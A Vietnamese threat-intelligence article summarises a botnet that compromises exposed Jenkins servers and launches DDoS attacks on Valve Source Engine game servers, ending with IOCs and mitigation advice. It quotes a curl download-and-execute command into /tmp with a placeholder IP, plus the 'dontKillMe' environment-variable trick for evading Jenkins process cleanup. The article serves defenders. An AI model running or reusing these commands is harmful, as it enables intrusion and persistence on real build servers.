Lỗ hổng CVE nghiêm trọng trong Jenkins bị lợi dụng

Lỗ hổng CVE nghiêm trọng trong Jenkins bị lợi dụng

Botnet DDoS khai thác Jenkins để tấn công máy chủ game

Một botnet DDoS mới được phát hiện đang khai thác các Jenkins server bị lộ ra Internet để phát động tấn công vào hạ tầng Valve Source Engine, bao gồm các máy chủ chạy Counter-StrikeTeam Fortress 2. Đây là một cảnh báo CVE theo góc nhìn vận hành, dù nội dung gốc không nêu mã CVE cụ thể, vì điểm bị lạm dụng là cấu hình Jenkins yếu và khả năng remote code execution khi dịch vụ bị mở công khai.

Security researchers tại Darktrace phát hiện mối đe dọa này sau khi quan sát lưu lượng và hành vi trên một hệ thống honeypot thuộc mạng lưới “CloudyPots”. Thời điểm ghi nhận ban đầu là 18/03/2026.

Tham khảo nguồn phân tích gốc tại Darktrace: https://www.darktrace.com/blog/darktrace-malware-analysis-jenkins-honeypot-reveals-emerging-botnet-targeting-online-games

Jenkins bị lộ và cách botnet xâm nhập

Jenkins là công cụ CI/CD phổ biến dùng để tự động hóa kiểm thử và build mã nguồn. Khi cấu hình kém, Jenkins có thể trở thành điểm vào cho xâm nhập trái phép nếu endpoint bị public và không được bảo vệ bằng xác thực mạnh.

Trong chiến dịch này, kẻ tấn công tìm thấy một instance Jenkins có mật khẩu yếu và sử dụng nó để đưa mã độc vào máy đích. Cách thức này đơn giản nhưng hiệu quả vì nhiều hệ thống vẫn để Jenkins truy cập trực tiếp từ Internet.

Điểm chính của cơ chế tấn công

  • Khởi đầu bằng Jenkins server bị lộ công khai.
  • Lợi dụng xác thực yếu để thực thi tải mã độc.
  • Triển khai payload đa nền tảng cho cả WindowsLinux.
  • Tiếp tục điều phối botnet qua kênh C2 và lệnh điều khiển từ xa.

Phân tích lây nhiễm và payload đa hệ điều hành

Sau khi máy Jenkins bị compromise, malware thả payload cho cả hai hệ thống điều hành. Trên Windows, payload được tải từ một địa chỉ IP từ xa và lưu dưới tên giả mạo giống file cập nhật hệ thống.

Trên Linux, một lệnh Bash tải payload vào thư mục /tmp rồi thực thi. Địa chỉ IP được dùng cho cả giai đoạn phân phối lẫn command-and-control thuộc một nhà cung cấp hosting tại Việt Nam, điều này được đánh giá là bất thường vì nhiều họ malware thường tách riêng hạ tầng phát tán và C2 để tăng độ bền.

bash -c 'cd /tmp; curl -fsSL http://<IP>/payload -o payload; chmod +x payload; ./payload'

Các kỹ thuật DDoS được botnet hỗ trợ

Botnet này hỗ trợ nhiều phương thức tấn công mạng, gồm:

  • UDP flood
  • TCP push attacks
  • HTTP request floods

Một kỹ thuật có tên attack_dayz gửi các gói TSource Engine Query để buộc máy chủ Valve Source Engine phản hồi lượng dữ liệu lớn. Cơ chế này tạo ra hiệu ứng khuếch đại: attacker chỉ cần gửi request nhỏ nhưng khiến server trả về phản hồi lớn, từ đó làm cạn tài nguyên hệ thống với băng thông tương đối thấp.

Tác động lên hệ thống

  • Tiêu hao băng thông của máy chủ đích.
  • Tăng tải CPUmemory do số lượng request/response lớn.
  • Làm giảm độ ổn định dịch vụ game và có thể gây gián đoạn truy cập.

Hành vi ẩn mình trên Linux

Ngay sau khi chạy trên Linux, malware thực hiện nhiều bước để né phát hiện và tăng khả năng tồn tại. Nó đặt biến môi trường Jenkins thành dontKillMe để Jenkins không chấm dứt tiến trình khi quá thời gian chờ.

Nếu không có bước này, Jenkins sẽ tự động dừng tiến trình độc hại. Sau đó, malware xóa file thực thi gốc và đổi tên thành tiến trình kernel hợp lệ như ksoftirqd/0 hoặc kworker.

Tiến trình tiếp tục được ẩn bằng phương pháp double fork, chạy như daemon nền và chuyển toàn bộ input, output, error về /dev/null. Nó cũng vô hiệu hóa các tín hiệu kết thúc như SIGTERM, khiến việc dừng bằng lệnh thông thường khó hơn.

export JENKINS_NODE_COOKIE=dontKillMe

C2, lệnh điều khiển và chu trình hoạt động

Sau khi ổn định trên hệ thống, malware kết nối tới máy chủ C2, gửi thông tin về kiến trúc hệ thống và đi vào vòng lặp chờ lệnh. Từ đây, botnet nhận chỉ thị tấn công hoặc cập nhật phiên bản mới.

Các lệnh tiện ích được ghi nhận

  • PING: kiểm tra tình trạng keep-alive.
  • !stop: thoát tiến trình.
  • !update: tải phiên bản mới từ C2 và khởi động lại.

Trong ngữ cảnh threat intelligence, đây là dấu hiệu cho thấy botnet có khả năng duy trì, cập nhật và điều phối các node nhiễm theo chu kỳ.

IOC và chỉ dấu xâm nhập

Các IOC được trích xuất từ nội dung phân tích gồm:

  • IP nghi vấn: 103[.]177.110.202
  • Cổng C2: TCP/5444
  • Tên tiến trình giả mạo: ksoftirqd/0, kworker
  • Biến môi trường: dontKillMe
  • Thư mục triển khai tạm: /tmp
  • Hành vi mạng: UDP flood, TCP push, HTTP flood, TSource Engine Query

Khuyến nghị giảm rủi ro bảo mật

Các máy chủ chạy Valve Source Engine và hệ thống Jenkins cần giảm bề mặt tấn công ngay lập tức. Việc ưu tiên là loại bỏ khả năng tiếp cận trực tiếp từ Internet và kiểm soát nghiêm ngặt lưu lượng ngoại biên.

  • Gỡ bỏ quyền truy cập công khai vào các Jenkins endpoint.
  • Bật xác thực mạnh và rà soát tài khoản có quyền quản trị.
  • Giám sát lưu lượng outbound để phát hiện kết nối bất thường tới C2.
  • Chặn TCP port 5444 ở firewall.
  • Chặn địa chỉ 103[.]177.110.202 tại perimeter.
  • Rà soát toàn bộ IOC và kiểm tra tiến trình giả mạo trên Linux.

Tham khảo thêm cơ sở dữ liệu lỗ hổng và rủi ro liên quan tại NVD: https://nvd.nist.gov/

Với môi trường có Jenkins public, việc update vá lỗi, giới hạn truy cập và theo dõi lưu lượng ra ngoài là các bước cốt lõi để giảm rủi ro an toàn thông tin và ngăn botnet tái khai thác. Trong bối cảnh lỗ hổng CVE không được chỉ định cụ thể, dấu hiệu vận hành từ chiến dịch này vẫn cho thấy mức độ nguy cơ bảo mật cao đối với các hệ thống CI/CD và máy chủ game exposed.